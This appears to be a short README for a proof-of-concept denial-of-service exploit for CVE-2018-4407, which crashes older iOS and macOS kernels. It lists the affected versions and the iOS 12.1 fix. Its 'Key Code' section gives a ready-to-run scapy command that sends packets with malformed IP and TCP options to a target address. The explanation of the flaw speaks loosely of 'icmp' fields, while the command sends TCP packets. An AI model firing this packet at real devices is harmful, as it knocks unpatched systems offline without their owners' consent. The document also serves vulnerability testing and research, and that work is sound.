check_icmp_dos-CVE-2018-4407-

Principle

The principle is to make other fields of the 'icmp' packet illegal. When the macOS or iPhone kernel parses it, it does not implement size checking, causing a crash.

Affected Devices

1. Apple iOS 11 and earlier: all devices
2. Apple macOS High Sierra (highest affected version 10.13.6): all devices
3. Apple macOS Sierra (highest affected version 10.12.6): all devices
4. Apple OS X El Capitan and earlier: all devices

Apple completely fixed this vulnerability in the 'iOS 12.1' update released on October 30.

Key Code

pip install scapy
sudo scapy send(IP(dst="Target IP",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

Links

Chinese Explanation
English Explanation